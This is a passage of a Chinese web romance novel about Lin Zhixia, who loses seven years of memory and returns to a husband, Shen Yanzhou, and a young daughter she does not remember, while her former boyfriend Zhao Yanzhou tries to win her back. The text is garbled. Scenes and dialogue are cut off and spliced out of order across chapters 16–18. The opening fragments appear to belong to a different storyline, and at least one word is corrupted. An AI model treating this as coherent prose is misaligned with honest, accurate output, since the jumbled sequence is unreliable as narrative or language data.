沈砚舟:【算了,我凑合凑合。】 林知夏:【你妈晚上给我发了信息,说是让明天回本家吃饭。】 林知夏没等到沈砚舟的回信,她也没切换到别的页面,就那么一直盯着和他的对话框。 没一会儿,门外有人敲门。 林知夏放下手机,起身去开门。 沈砚舟像是才洗完澡,换了那套他常穿的黑色睡衣,前面的刘海垂落在额前,半干不干的。 整个人的多了很多少年人的气息,如果他这样出门,说是大学生,说不定也有人信。 林知夏只盯着他看了两秒,就挪开眼,“怎么了吗?” 沈砚舟忽然也变得有些扭捏,“你帮我晒被子了?被子变得软软的。” 林知夏:“顺手。” 沈砚舟:“那花呢?” 林知夏:“你昨天不是想要吗?我闲着没事,散步去花店里又买了些。” “下午你妈给我打电话了,说是让你这两天有空,回家吃个饭。” 沈砚舟点头,“行啊,看你时间。” 差不多两天后,两人才回的本家。 林知夏给爷爷奶奶,他的父母都买了礼物。 但沈砚舟父亲沈怀渊临时有事,就没有过来,沈砚舟母亲替他收下。 饭桌上,几个人对林知夏都格外的照顾,话题也都是围绕着她在国外过得还还不好,说是今后在国内安定下来,就要多来看看他们老人家。 说实话,林知夏和他们在一起吃饭,都觉得比跟林家那些人说着口是心非的话要舒服的多。 她的婆婆叶女士话不多,但对她却总常带着微笑,叮嘱最多的话就是让沈砚舟好好对她。 饭后,林知夏跟奶奶洗了些水果,让拿到客厅去。 本来客厅只有婆婆一个人,但沈砚舟接完电话也坐在一起看电视。 电视里正放着一个比较老的武侠片,母子两人就这么干坐着。 林知夏刚准备走过去,就听到婆婆说,“夏夏以后就待在国内了,你也老大不小了,等夏夏工作稳定下来,可以考虑孩子的事情了。” 沈砚舟像是听到了什么笑话一样,“人家刚稳定就用孩子把人绑着?我又不是我爸。” 叶女士脸上显然有些挂不住,“你这是什么话?” 沈砚舟:“有孩子了就得对孩子负责。” 叶女士:“等你有了孩子,就自然而然就懂了。” 沈砚舟:“所以您,是因为有了我,才不敢轻易离开的吗?” 叶女士一时间哑然,但又对他感到愧疚。 沈砚舟当时正在车上,切到微信页面,回复:【晚上出去吃吧,我去你们公司接你。】 林知夏:【你不是晚上有应酬吗?】 沈砚舟:【有点事,推迟了。】 其实是他直接鸽了那个饭局,反正不重要。 林知夏:【但是我今晚不回家吃了,我有个朋友从国外回来,我已经到机场接他了。】 沈砚舟盯着那个“他”看了好一会儿。 林知夏什么时候有异性朋友了,他忽然想到什么,确实有一个。 沈砚舟:【你们要去吃饭吗?】 林知夏:【我上次答应他,等回国请他吃饭的,所以今晚不能陪你吃饭了。】 【如果你不介意的话,你可以来找我,我介绍你们认识。】 沈砚舟盯着这两行字,总觉得她说的很勉强。 沈砚舟烦躁的把手机扔到一边,喊司机调头,去那个被推掉的饭局。 因为心里有事,林知夏一晚上睡得也不踏实。 中午的时候,她看到方羽删除了对她个人的起诉,还出了一则道歉声明,说关于控诉林知夏摄影师抄袭和模仿的事情,在证据不足的情况下,由实习生直接发出来的,并且说明会对实习生做相应的处罚,并且请大众监督,公司会更加严谨。 这一则道歉声明一出,网上的言论被彻底翻转。 【所以出了事,就找个三千块的实习生来背锅了是吧……】 【我们是牛马,不是黑-奴!!!】 【草台班子,本来还站你们的,好感败完了】 【你们骚操别连累敏敏,真无语】 “是很仓促,沈家能够答应也是足够尊重我们,一应要求我们尽管配合。” “沈家没什么要求。” 林知夏是南乔、砚苏两地世家中有名的江南美人,名门闺秀的典范,即使年纪有些大了,那也不过是因为苏道生看重她,舍不得她出嫁。 所以没有不好的。 他们走到一辆黑色宾利前,候在车门旁边的沈家司机礼貌地替他们拉开车门。 何与贤给林知夏挡车顶,林知夏躬身上车。 “谢谢。” 坐定后,何与贤抽出公文包里的文件给林知夏看。 “说仓促,但毕竟是世家联姻,该有的一应俱全,只是到底不比你自己挑选筹备来的好。” “我不介意。” 林知夏细细翻看,眸中无波无澜。 第 16 章 第十六章 劳斯莱斯在高速上平稳疾驰,总裁特助周程坐在副驾驶,时不时观察着后视镜里老板的神情。 先是十个小时从伦敦飞往北城的航班,下飞机后又马不停蹄地上了机场高速。 一路舟车劳顿,周程在头等舱勉强眯了四个多钟头,而沈总据说全程都没合过眼。 算上登机前连轴转的见客户、开会,沈砚舟已经有二十多个小时没休息了。 周程想劝几句,可看到后座老板阴沉的脸色,终究是没敢开口。“沈总。”听闻沈砚舟要去幼儿园,司机董叔犹豫了几秒后开口,“小姐这几天很懂事,知道您出差,从没闹过让您亲自去接。” 沈砚舟神色平静地看着董叔。 董叔自知不该多言,但听周程说沈砚舟已经二十多个小时没休息,实在没忍住劝道:“不然您多休息一天,今天就还是让我和张姐去吧。” 沈砚舟:“不用,开车吧。” 董叔不敢再劝,发动车子。林知夏的愿望没能实现。 睁开眼时,她望着天花板发了很久的呆。吃过早餐,私人医生来为林知夏做了基本的身体检查。 放下仪器后医生问:“沈太太,您的记忆还是没有恢复的迹象吗?” 最初在医院醒来时,林知夏还不厌其烦地纠正这个称呼,如今别墅里每个人都叫她太太,她也懒得反驳了。 林知夏如实答:“没有”。 医生:“那您自己感觉身体有什么不舒服的吗?” 林知夏:“也没有。” 医生点点头:“嗯。是这样的,太太您目前的身体各项数值一切正常,所以不用太过担心焦虑。” 林知夏:“好的。” “至于记忆的问题。”医生说,“就像我昨天说的,您的脑部影像看不出明显异常,因此目前科学上还没有太好的解决方法。建议您保持规律的饮食和睡眠,尽量避免剧烈运动,让大脑和身体都得到充足的休息。” “另外您可以尝试与从前熟悉的人多接触,多交流,或者去一些失忆期间可能去过的地方,或许会有帮助。” 林知夏一一应下,道谢。 告别了医生,管家出现在林知夏面前。 “太太,您原先的手机号码已经让营业厅帮您恢复了,只是您旧手机的电路已经彻底损坏,无法继续使用,里面的数据也已经没办法找回。” “另外这是您的银行卡,先生托我交给您,绑定的号码就是您原先的手机号。” 林知夏点了下头,接过管家递来的手机卡和银行卡:“我知道了,谢谢。” 管家又向林知夏汇报了其他几件事,结束后正要退下,林知夏叫住他:“杨管家,我有个问题想问你。” 管家:“您说,太太。” 林知夏:“我想在家里逛一逛,有什么需要注意的地方吗?” 管家看起来没完全理解这句话:“您的意思是?” 林知夏:“我是说,家里有没有什么不方便我进去的房间?” 她想,如果沈砚舟有什么禁忌,那她还是尽量不去触碰为好。 管家了然:“太太您不用担心。” “先生特意吩咐过我。”年近五十的管家神色恭敬,“这栋房子不仅是先生和小姐的家,也是太太您的家,家里的每一个房间您都可以自由进出。” 这一觉她睡得并不安稳,断断续续似乎做了很多的梦,却一个也想不起来。 醒来时是九点多,洗漱完毕,林知夏又刻意磨蹭了一会儿,才穿戴整齐地出了房间。 她想确保自己不会遇上沈砚舟。 事实证明她的担心是多余的,来到餐厅后阿姨告诉她,沈砚舟八点不到就出门送沈妙盈去幼儿园了。 林知夏顺便打听了一下沈砚舟平常的日程,得知他不是每天都会亲自送女儿,但最晚也会在九点之前出门去公司。 阿姨把早餐端上餐桌,临走之前递给她一个平板,说是沈妙盈特意交代留给她的,里面有沈妙盈给她录的视频。 林知夏将煎蛋送入口中,找到相册里最新的那条视频时,内心很是期待。 在最初听说自己有个女儿之后,林知夏的心情非常崩溃。 然而仅仅一天过去,林知夏已经对这个事实接受良好。 只能说有钱能解决大部分的烦恼,而沈妙盈又实在是个非常可爱的小朋友。 点开视频,沈妙盈圆圆的脸蛋占满了整个平板画面。 “妈妈早上好呀!我想去妈妈的房间里说早安的,但爸爸说妈妈要多多睡觉才能养好身体,我就只能在平板里和妈妈说话啦!” 沈妙盈对着镜头讲个不停,一口气说了好几分钟。回程的途中,一路无话。 林知夏几次想开口缓和气氛,最终都没能说出口。 她并非不通人情世故,为了更好地生存,大多数时候她都很清楚如何说话能让他人舒心。 就像此刻,她分明知道如果要当一个温柔体贴的妻子,该如何处理现在的情况—— 对他的担心表示理解,保证今后都及时接他的电话,再说几句软话安抚。 但沈砚舟与那些人不同,不是她可以轻易敷衍搪塞的对象。 林知夏总有种感觉:她说的所有违心话,都能被他一眼看穿。 回到别墅时,时针指向九和十之间。 沈妙盈已经睡了,张姨说小姑娘睡前闹了会儿小脾气,念叨着爸爸妈妈都没陪她说晚安,等明天要好好补偿她才可以。 林知夏回来后就上楼去了卧室,余光瞥见沈砚舟去了另一侧的书房。 关上卧室门时她心里冒出一个念头:他们这样,算不算是夫妻吵架? 随后她扯了扯嘴角:你来我往才叫作吵架,他们这顶多算是冷战。 当然更大的可能是沈砚舟此人既不会和人吵架,更不屑于冷战——他只会在意外发生,局面有脱离掌控的迹象时,以强硬的姿态掌舵,让一切回归正轨。 现在的她,在他眼里或许就是那个意外。林知夏还是第一次和小孩子在同一张床上睡觉,很不习惯。 被窝里多了一个热乎乎的活物,时不时用小手碰碰她的脸,摸摸她的头发。 “妈妈,你身上真的好香啊!”车窗外车流如织,北城繁华的灯红酒绿如走马灯般掠过。 林知夏扭头望着窗外,假装欣赏夜景。 沈砚舟的声音像是卡带的旧磁带,反复在她脑海里重播。 毫无预兆地,她想起她的十六岁。 那时她已经决定在高考后逃离那座城市,为了攒钱,假期里瞒着父亲和继母偷偷去学校附近的烧烤店打工,晚归是常态。 一开始她特意想了借口,后来才发现其实没人在意她去了哪,几点钟回来。 顶多在碰巧撞上那个女人时,得到一个鄙夷的眼神,和一句“又出去鬼混了”的嘲讽。 那时林知夏常常在想,倘若有一天她不小心死在了外面,父亲和那个女人大抵也只会觉得庆幸:她这个多余的拖油瓶,终于不用再占着家里的地方,花他们的钱。 后来她来北城读大学,室友里有个北城本地的女生,每次出学校都发信息和家里人报备。 林知夏对此并不羡慕或是向往,只像是远远瞥见了属于他人的生活片段,一切自始至终,都与她无关。 她不习惯与任何人产生过于紧密的联结,朋友如此,恋人或亲人也是一样。 姜雨晴说她喜欢逞强,遇到什么事总喜欢一个人憋着。 赵延舟也抱怨过她太不黏人,说别人的女朋友都恨不得天天和男朋友腻在一起,她却总让他多和兄弟出去。 哪怕是沈妙盈,这个与她血脉相连的女儿,她们能和谐相处,大约也因为沈妙盈在同龄的孩子中算是格外独立的,没有时时刻刻都黏着她这个妈妈。 “妈妈妈妈,你困不困呀?” “妈妈,等一会儿爸爸过来,你想让爸爸给我们讲什么故事?” 白天一整天的活动消耗了沈妙盈的大部分精力,在折腾了一小会儿后,沈妙盈明显没有力气了。 小姑娘嘴里嘟囔着“爸爸怎么还没来”,念着念着就没了声音。 等林知夏再轻声喊小姑娘的名字时,小姑娘的呼吸已经变得平稳悠长。 说好的要等爸爸过来讲故事,结果自己先睡着了。 林知夏把屋内的灯关了,只留下了床头的小夜灯。 柔和的灯光下,林知夏望着沈妙盈恬静的睡颜,弯起嘴角。 忽然,门口传来一阵刻意放轻的脚步声。 林知夏心中骤然一紧,脑子还没来得及思考,身体已经先一步做出动作——飞快闭上了眼睛。 等脚步声停在床边,林知夏才后知后觉反应过来:她为什么要装睡? 明明可以直接冲沈砚舟比个手势,告诉他女儿已经睡熟,他可以走了。 事已至此,林知夏只能硬着头皮,保持着闭眼的姿势,放缓呼吸。 希望沈砚舟看到她们都睡了,直接转身出去就好。 等了很久,脚步声始终都没有再次响起。 夜晚极其安静,如果不是因为鼻尖始终萦绕着男人身上淡淡的松木香,林知夏几乎要以为沈砚舟已经悄无声息地离开了。 可这独属于沈砚舟的气息又在不断提醒她,他就站在近在咫尺的地方。 他怎么还不走? 再这样下去,林知夏觉得自己的心脏都要罢工了—— 它正以每分钟三位数的速度疯狂跳动,堪比学生时代跑完八百米冲线后的状态。 终于林知夏受不了这份煎熬,睁开双眼。 寂静的夜色中,她撞进男人如墨般漆黑的双眸。 林知夏从未被人以这样的眼神注视过。 他的目光落在她脸上,像是在看着他此生仅有的,失而复得的珍宝。 这天晚上林知夏做了个梦。 梦里先是继母质问她怎么不死在外面算了,接着父亲出现,说他已经尽到了为人父的责任,对她仁至义尽。 最后面前的人变成了沈砚舟,他问她这个沈太太为什么当得这么不称职,不声不响消失五年。 毕竟还是个小孩子,东一句西一句的,时不时还会颠三倒四地重复。 但林知夏全程面带笑意看着这段视频,一点都不觉得冗长,反倒觉得这碎碎念的模样格外可爱。 中途甚至没忍住把平板拿近,近距离欣赏小姑娘亮晶晶的眼睛和眉飞色舞的神态。 到最后,沈妙盈发表自己的结束语:“好了,我要去幼儿园啦,妈妈拜拜!哦不对,还有——” 下一秒镜头一转,沈砚舟的脸出现在画面里。 林知夏毫无防备,差点把手里的平板丢出去。 给沈砚舟当了将近五年的助理,哪怕是公司面临生死存亡的危急关头,周程也从没见老板露出这样砚杀的神色。 车内安静得可怕,沈砚舟手中平板的屏幕上,正播放着来自医院的监控录像。 蓝牙耳机里,女人的声音清晰地传来。 “这里是医院?我怎么会在这?” “沈太太,您不要激动,也先不着急起身,我慢慢和您说明情况。” “什么沈太太?你们认错人了,我不是沈太太,我叫林知夏。” “沈……咳,林女士,您目前的状况比较特殊,记忆可能出现了一些损伤。” “什么?等等,你能不能先告诉我,我是怎么来医院的?是赵延舟送我来的吗?” “是沈总安排人送您来的。” “哪个沈总?不对……赵延舟呢?就是一个穿着黑色西装,一米八五左右的男人,他没和我一起来医院吗?我刚刚还和他在一起。” 第 17 章 第十七章 休息室外,身材颀长的男人立在窗边。 沈砚舟的脸上没什么表情,周身却散发着冷意,无形中形成一片令人望而却步的低压区。 透过休息室的落地窗望过去,房间角落,林知夏正坐在沙发上和女儿说着什么。 电话另一头是一个略显轻挑的男声:“沈总,周末过得怎么样?有没有兴致和老朋友聊聊天?” 沈砚舟收回目光,声音冷沉:“有什么话直接说,我没时间和你打哑谜。” 赵延舟呵呵笑了声,语气带着几分戏谑:“几年不见,沈总怎么反倒没了往日的耐性?” 沈砚舟:“最后说一次,我很忙。” 再兜圈子,他不介意直接挂断电话。 听出沈砚舟的意思,赵延舟语气里的玩世不恭收了些:“我见到她了,就在昨天。” 沈砚舟:“……”商场地库的灯光斑驳,男人长身而立,挺拔的轮廓在阴影中显得尤其冷峻。 明明已经见过很多次,再次看到他时,林知夏还是无端地有些紧张。 她走到沈砚舟身前站定:“你等很久了?” 沈砚舟接过她手里的购物袋:“不久。” 将她买的东西放在后座,他为她拉开副驾驶的车门,声音听不出起伏:“先上车吧。” 林知夏惊讶,她还以为他是和司机一起来接她。 她压下心底的诧异,弯腰坐进了副驾驶。 沈砚舟在她之后上车,沉默地按下启动键,引擎发出一声低沉的轰鸣。 车子缓缓驶出车位,沿地库主干道平稳前行。 空气仿佛凝固成冰,安静得能听见彼此的呼吸。 林知夏不自在地抚了下头发。林知夏记忆中上次和姜雨晴一起逛商场还是刚毕业的时候,两人逛了整整一个下午,脚都走痛了手还是空的。 没办法,那时候商场里的衣服对她们这种刚毕业口袋空空的小姑娘来说:好看的太贵,便宜的又质量太差,实在难以下手。 今时不同往日,吃过午饭后逛的第一家店,姜雨晴就挑中了一条四位数的裙子,付账时干脆利落。 林知夏起初还收敛着,渐渐也被姜雨晴带动。 虽然还做不到买衣服不看价签,但至少在看到喜欢的款式时不会像从前那样,翻完吊牌后只能默默放下。 姜雨晴给沈妙盈挑了一条漂亮的小裙子,还有一只毛绒玩偶。 逛到天都黑了,两人才想起来找家店吃晚饭。 姜雨晴提议:“中午那顿烤肉油有点大,晚上咱们吃顿漂亮饭吧?来点清淡的日料或者私房菜,顺便让我拍几张照片发朋友圈。” 林知夏没有意见。 姜雨晴选了家日料,价格贵加上今天是工作日,不排队。 点好菜,姜雨晴翻出小镜子补了个口红,摆好姿势:“来,夏夏宝贝,给我拍几张。” 林知夏应下,翻了半天口袋没找到手机。 姜雨晴提醒:“是不是在包里?你包呢?” 林知夏茫然了一瞬:“对啊,我包呢?” 两人面面相觑几秒,姜雨晴拍大腿:“肯定是之前你把包塞进了某个购物袋里,然后咱们去存包的时候,顺手把那个购物袋也给存了!” 下午她们购物血拼得太忘我,购物袋都快拎不下了,于是中途去商场一层存了趟包。 姜雨晴是个急性子,连忙催道:“那咱们赶紧去找吧!离存包都过去四五十分钟了吧,这段时间万一有人找你,都打不通你电话。” 林知夏反过来宽慰她:“没事,现在我是无业游民一个,估计也不会有人找我。” 姜雨晴:“万一是你女儿找你呢?” 林知夏被说动了。 姜雨晴:“所以啊,咱们赶紧下楼。” 到存包处打开柜子,林知夏艰难地从几个大购物袋里翻到她今天出门时背的小包。 姜雨晴:“看看有没有人打你电话。” 林知夏点头,打开通话记录,发现居然真的有好几个未接来电,还都是来自同一个未知号码。 她迟疑了一下,播回去。 等待音只响了一声就被接起,听筒里传来一个男声:“林知夏?” 极具辨识度的磁性嗓音,因为比平常多了几分紧绷和焦灼,让林知夏差点没敢认。 她能清晰地感觉到沈砚舟周身的低气压—— 这个男人的心情似乎非常不好,却又偏偏一言不发。 密闭空间内,男人身上的压迫感如影随形,让她有点喘不过来气来。 几秒后,林知夏忍不住打破这份窒息的沉默:“抱歉,之前我把手机忘在寄存柜里了,所以一开始没接到你电话。” 沈砚舟依旧目视着前方。 这样的无视,让林知夏的心里升起几分不快。 事实上她不认为沈砚舟是她法律上的丈夫,就有资格限制她的自由:理论上来说,她即便夜不归宿也不需要经由他同意。 今天她和姜雨晴本来说好晚上吃完饭再继续逛会儿,他打乱了她的计划,她还没有怪他。 只是因为想着他应该是出于好心,又特意跑一趟来接她,她才主动道歉。 思虑片刻,林知夏抿了抿唇,开口:“今天谢谢你来接我,但我是成年人了,什么时候回去我自己心里有数。” 闻言,沈砚舟毫无征兆地打了方向盘。 林知夏一惊:“你要做什么?” 沈砚舟没回答。 车子拐入右前方的临时停车区,缓缓停下。林知夏捏着手机,另一边,姜雨晴正努力回忆着七年前的事情经过。 “当时我因为我妈的病忙得焦头烂额,连生日都没能陪你过。还是你来医院帮忙的那天,我看出你情绪不对,才知道你和赵延舟已经分手好些日子了。 “那时候你应该真的挺伤心的,我第一次见你憔悴得那么明显,像是渡了一次劫。” “我本来以为你可能会和赵延舟复合,他的条件那么好,你看起来又很舍不得他。但没想到,大概又过了一个多月吧,你忽然告诉我,你要和另一个人结婚。” “我问你是不是真的想好了,你说想好了,还说和沈砚舟结婚是你最好的选择。” “至于你和赵延舟为什么分手,我问过一次,你没说,只让我不用担心,安心照顾我妈。看你的样子我也不忍心追问,后来你很快结了婚,我就觉得过去的事情没必要再问了。” 姜雨晴尽量梳理着从前发生的事,只是时间过去太久,记忆已经模糊,许多细节都要仔细回想才行。 讲到这里,姜雨晴担忧道:“你真的完全想不起来和沈砚舟之间发生的事情了吗?那你打算怎么办?我是说,他毕竟是你的老公,就算你失忆了,你们总要一起生活,除非……” 后面的话,姜雨晴犹豫着没说下去,林知夏却听懂了。 “我知道你的意思。”林知夏接话,“其实,我确实想过离婚。” 和一个近乎完全陌生的男人生活在同一屋檐下,光是想想就令人汗毛倒竖。 林知夏:“不过就算真的要离,也不能是现在。” 如今她看起来是个富太太,但有钱人结婚肯定会有婚前协议,就这么离婚,搞不好她一分钱都拿不到。 以她现在和社会脱节了这么多年的状况,在找到稳定的经济来源之前,她不可能贸然离婚。 “而且,”林知夏抿唇,“我和他还有一个五岁的女儿。” 这句话一出,手机两头的人都陷入了沉默。 是啊,自己的亲生女儿,怎么可能说不管就不管。 电话里突然传来一阵嘈杂声,过了好几秒,姜雨晴说:“对不起啊夏夏,我老板叫我,我得赶紧过去。” 林知夏:“那你快去吧,你已经陪我够久了。” 姜雨晴:“嗯嗯,我答应你的备忘录等我写完就发给你,到时候再联系!” 对面火急火燎地挂了电话。 林知夏慢半拍地放下手机,神色恍惚。 她向来要强,哪怕在最亲近的人面前,也习惯将负面情绪藏得严严实实。 所以在姜雨晴看来,她的反应或许可以称得上镇定,可只有林知夏自己清楚,她究竟有多慌。 以至于身后的卧室门响了好几声,林知夏才迟钝地回过神。 想来是她单独在房间里待得太久,管家或是医生放心不下,过来查看情况。 林知夏定了定神,扬声道:“进来吧。” “咔嗒”一声轻响,房门被缓缓推开。 暮色四合,夕阳的余晖穿过落地窗,勾勒出男人高大挺拔的轮廓。 他静立在门边,沉默不语地望着她。 一瞬间,林知夏的心跳几乎停止。 沈砚舟转过脸,沉声喊她的名字:“林知夏。” 林知夏的心尖一颤,手指下意识扣住身下的真皮座椅,微凉的触感蔓延开来。 幽暗的光线里,男人的脸色半明半暗:“上一次我打不通你的电话,你消失了整整五年。” 沈砚舟注视着她,目光犹如实质般将她整个人禁锢在副驾驶,一动不能动。 “所以你告诉我,这一次,我要怎么知道你不会再消失?” 赵延舟:“她和从前一模一样,是我最喜欢的样子。我问她还记不记得我,她说她从来就没忘过,和我在一起的时间,是她这辈子最快乐的时光。” 沈砚舟:“你觉得我会信?昨天你不在北城。” 赵延舟默了一秒,忽然笑了:“沈砚舟啊沈砚舟,承认吧,听到我说这些,你已经乱了阵脚。” “你很清楚她心里有我,你甚至不敢笃定她不会对我说这些,只能用我人不在北城来反驳,不是吗?” 沈砚舟没接话。“也就是说……”手机里,女人的声音飘忽又带着几分不可思议,“你的记忆倒退到了七年前?” 林知夏盯着无名指上的婚戒,认命地叹了一口气:“是的。” “这也太……”对面的人有些语塞。 林知夏接过好友的话:“太不真实了,就像瞎编的一样?” 赵延舟却越说越激动:“你说得没错,我今早才回的北城,没能见到她。但你知道夏夏去的是我的地盘,所以才把会都推了也要亲自赶过去接她,不是吗?” “你七点四十二分就到了地库,足足等了她一个小时,那一个小时里你在想什么?是不是怕她想起我,怕她知道我有多爱她,怕她不愿意回去做你的沈太太了?” “她甚至特意去了我为她开的商场,梦昭天地,林、赵,我努力了七年,整整七年,这家商场才终于在今年年初开业。” “而她刚好在今年回来,沈砚舟,你不觉得这一切都是天意吗?” “七年了,我不是当年那个不学无术的赵延舟了,现在我手里有和你争的资本。” “我知道论手段我比不过你,你是商业天才,是连亲爹都能狠下心算计的狠角色。但夏夏她爱的是我,就像我爱她。” “沈砚舟,这次我一定会赢。” 电话那头的声音带着志在必得的笃定。 沈砚舟:“说完了吗?” 赵延舟:“怎么,被我戳中痛处,无话可说了?” “有一点你搞错了。”沈砚舟再次望向休息室内,林知夏正揉着沈妙盈的脑袋,似乎是在笑。 “我从来没把你当成过对手。”沈砚舟的声音不带一丝起伏,“你没这个资格。” 第 18 章 第十八章 短短五分钟,她提了赵延舟七次。 意识到赵延舟不可能出现之后,她才终于不再提起这个名字,但依旧会在医护人员称呼她为“沈太太”时纠正对方。 她忘了她是他的妻子,却清楚地记得另一个男人。 视频播放到最后一秒,屏幕暗了下来。平心而论,沈砚舟的这张脸极为英俊。 如果是在网上刷到这样级别的帅哥,林知夏应该会毫不吝啬地点赞,搞不好还会顺手点个关注,然后分享给姜雨晴。 可如今每每看到这张脸,林知夏只觉得如临大敌。 即便是隔着屏幕,男人那双深如潭水的黑眸也好似能看穿一切,洞穿她的所有伪装。 而那两片弧度冷淡的薄唇,也仿佛随时会吐出什么让她心头一紧的话来。 如此一来,这张俊朗无比的脸在林知夏心中就变得面目可憎起来。 林知夏默默将平板推远了几寸。私人会所VIP包厢,五官俊朗的男人跷着二郎腿,心不在焉地吐出一串烟圈。 一旁的好友抿了口酒,笑问:“延舟,这次办完事,你准备什么时候回北城?” 赵延舟眼皮都没抬,懒洋洋道:“心情好了,自然就回了。” 好友:“这些年你没事总各地跑,叔叔阿姨都盼着你多回北城待待,安稳下来。” 赵延舟笑了声:“我爸妈可真行,找说客都找到你身上来了。”体能课到尾声的时候,有人给沈砚舟打来电话。 沈砚舟起身:“我去接个电话,接完回来找你们。” 林知夏点头:“好。” 沈妙盈不仅上课的时候学动作快,连换衣服冲出场地的速度都是最快的。 下课之后,沈妙盈第一个飞奔来到了林知夏的身边。 “妈妈!”沈妙盈拉着林知夏的手,“我上课的时候厉不厉害?” 林知夏莞尔:“特别厉害,比妈妈要厉害多了。”姜雨晴看她的表情不像是勉强,这才松了口气:“那我就放心了。我怕你又和以前一样逞强,受了委屈也一个人忍着,谁都不说。” 林知夏笑:“说得好像我经常这样似的。” 姜雨晴:“还说呢,当初你做兼职被人拖欠工资,手里没钱了也不吭声。要不是我不小心听见你和你老板打电话,都不知道你穷得连饭都快吃不起了。” 林知夏:“那时候大家都是学生,你的生活费不也不怎么够用吗,我哪好意思管你借。” 姜雨晴一副“你看吧”的神色:“就是因为你总替我考虑,所以受了委屈才从来不说。后来也是,说什么我在医院照顾我妈太辛苦,你和赵——” 说到一半,姜雨晴突然意识到什么,猛地住口。 倒是林知夏笑了:“没事,你继续,我不介意。” 姜雨晴:“……和赵延舟分手了也不告诉我。怪我,都三十了这毛病也没完全改掉,总是嘴比脑子快。” 林知夏:“没关系,他又不是什么不能提的洪水猛兽。” 姜雨晴嘀咕:“话是这么说,但总觉得提起那个渣男晦气。” 林知夏好笑:“你不是不知道当初我们为什么分手吗?怎么知道他是渣男?” 姜雨晴一脸“这还用问”的理所当然:“当年他害得你那么伤心,能是什么好东西?” 林知夏被逗笑:“有道理。” 姜雨晴就是这样,不管发生什么,永远会毫不犹豫地站在她这边,无条件地维护她。 “对了。”姜雨晴又问,“你女儿呢?你和她相处得怎么样?” 脑海里浮现出沈妙盈圆圆的脸蛋,林知夏莞尔:“嗯,她特别可爱,我们相处得很好。” 姜雨晴也笑:“那就好,果然,看你提起女儿的表情,比提起那些乱七八糟的男人时开心多了。” “正好,一会儿逛街的时候我给你闺女买些礼物,你帮我一起参考参考。”姜雨晴说,“不用替我省钱哈!虽说和你这种富婆比不了,但辛苦工作了这么多年,姐姐我现在也算是小有积蓄!” 沈妙盈骄傲地叉起了腰:“嘿嘿,妈妈你加油努力,争取和我一样厉害!” 说着她好奇地左右张望,“爸爸呢?” 林知夏给沈妙盈指了下方位:“爸爸去那边接电话了,我们在这里等一会儿爸爸,好不好?” 沈妙盈:“好呀,刚好我有悄悄话想和妈妈说!妈妈你能不能凑近一点?” 林知夏被她煞有介事的模样逗笑了,配合地俯身,压低了声音:“好呀,宝贝想和妈妈说什么?” 沈妙盈凑到林知夏的耳朵边上:“爸爸的生日快到了,妈妈你可不可以给爸爸准备一个礼物当作惊喜?” 林知夏微怔。 前几天她查过沈砚舟的百科,他的生日的确就在下个月。 但那时候她压根没想过给他准备礼物。 见林知夏没反应,沈妙盈忍不住催促:“可以吗,妈妈?” 林知夏略微迟疑后应下:“好。” 沈妙盈既然提出这个要求,说明往年沈砚舟肯定都会和女儿互相过生日,过生日收礼物在沈妙盈眼里是天经地义的事情。 如果她拒绝,女儿一定会伤心。 不过答应是答应下来,林知夏觉得这事实在有些难办。 她和沈砚舟的关系不亲近,她也一点都不了解沈砚舟,怎么给他选礼物? 思索片刻后林知夏问:“宝贝,你也会给爸爸准备礼物吗?” 沈妙盈重重点头:“当然啦!” 林知夏:“那你能不能告诉妈妈,你准备送给爸爸什么礼物呀?” 沈妙盈义正辞严地摇头:“不行!这是我的秘密,不能提前告诉其他人,妈妈也不行!” 林知夏哭笑不得:“这么严格啊。” 沈妙盈:“我很擅长保守秘密的!” 林知夏:“那……你知道爸爸最喜欢什么吗?” 沈妙盈不假思索:“爸爸最喜欢妈妈!” 林知夏:“……” 她清了下嗓子:“我不是说人,我的意思是……爸爸都喜欢做什么事情?” 这回沈妙盈想了一会儿才回答:“爸爸最喜欢工作。” 林知夏失语。 真是意料之外,情理之中的答案。 好友也笑,语气带着几分感慨:“那也是没办法的事,今时不同往日,咱们哥几个都过了三十,早不是当年的毛头小子了。” 他和赵延舟是打小就认识的朋友,从高中毕业到二十岁出头那会儿,一帮兄弟到处吃喝玩乐,活得肆意张扬。 可随着时间流逝,当初的那帮兄弟逐渐成家立业,有的孩子都能打酱油了。 而在经历了那件事后,赵延舟也不再是那个无所事事的纨绔子弟,反倒是搞起了投资。 得益于赵家雄厚的资金支持,再加上赵延舟本身脑子活络,几年过去,竟真让他搞出了点名堂来。 近几年,赵延舟在北城周边投资了几家商场,今年年初又有一家位于北城新兴商圈的综合性商场正式开业。 唯一让赵家二老头疼的是,他们这个已经三十而立的小儿子,似乎对结婚生子完全不感兴趣。 想起那些传言,好友试探道:“延舟,你这些年一直不考虑结婚,也不愿意相亲,是不是因为……当年的那个人?” 赵延舟:“……” 见他沉默,好友叹道:“这么多年了,你还没放下?” 赵延舟依旧没应声,只是垂着眼皮,让人看不清他眼底的情绪。 好友迟疑了几秒,像是终于下定决心般开口:“说起这个,今天我从北城那边得到个消息,不保证真假,但……和她有关。” 闻言,原本漫不经心的男人骤然变了神色,攥着烟的手指瞬间收紧。 “什么消息?”他急切道,“有人找到她了?”“是我。”她回。 沈砚舟:“你现在在哪?” 林知夏:“管家没和你说吗?我今天出门去商场,和朋友逛街。” 沈砚舟:“你现在还在那家商场?” 林知夏:“对。” 沈砚舟:“我去接你。” 林知夏心头一跳,脱口而出:“不用了吧。” 沈砚舟的语气不容置喙:“我已经在路上了,还有半个小时到。” 林知夏:“等等——” 沈砚舟:“怎么?” “那个……”林知夏清了清嗓子,“我跟朋友说好了一起吃晚饭,现在才刚开始吃呢。” 沈砚舟:“我可以等。” 林知夏:“……” 话都说到了这个份上,他又已经出发。 林知夏:“……那好吧。” 沈砚舟:“嗯。” 挂断电话,姜雨晴充满好奇的脸凑了上来。 “你老公?”姜雨晴问,“查岗?” 林知夏:“……没,沈砚舟说要来接我,已经出发了。” 姜雨晴惊讶地扬起眉毛,看了眼时间:“现在才七点多,也不晚啊,他急着接你做什么?” 林知夏摇头:“谁知道呢。” 姜雨晴:“那咱们这顿晚饭还吃不?” 林知夏不假思索:“那么贵的菜都点了,当然吃。” 吃过晚饭,姜雨晴把林知夏送到直梯门口。 “既然你老公来接你,我就不和你一块儿下去了。”姜雨晴说,“我和他最后一次见面时发生了点不太愉快,今天就不去凑你们的热闹了。” 林知夏震惊:“什么不愉快?你怎么没和我说过?” 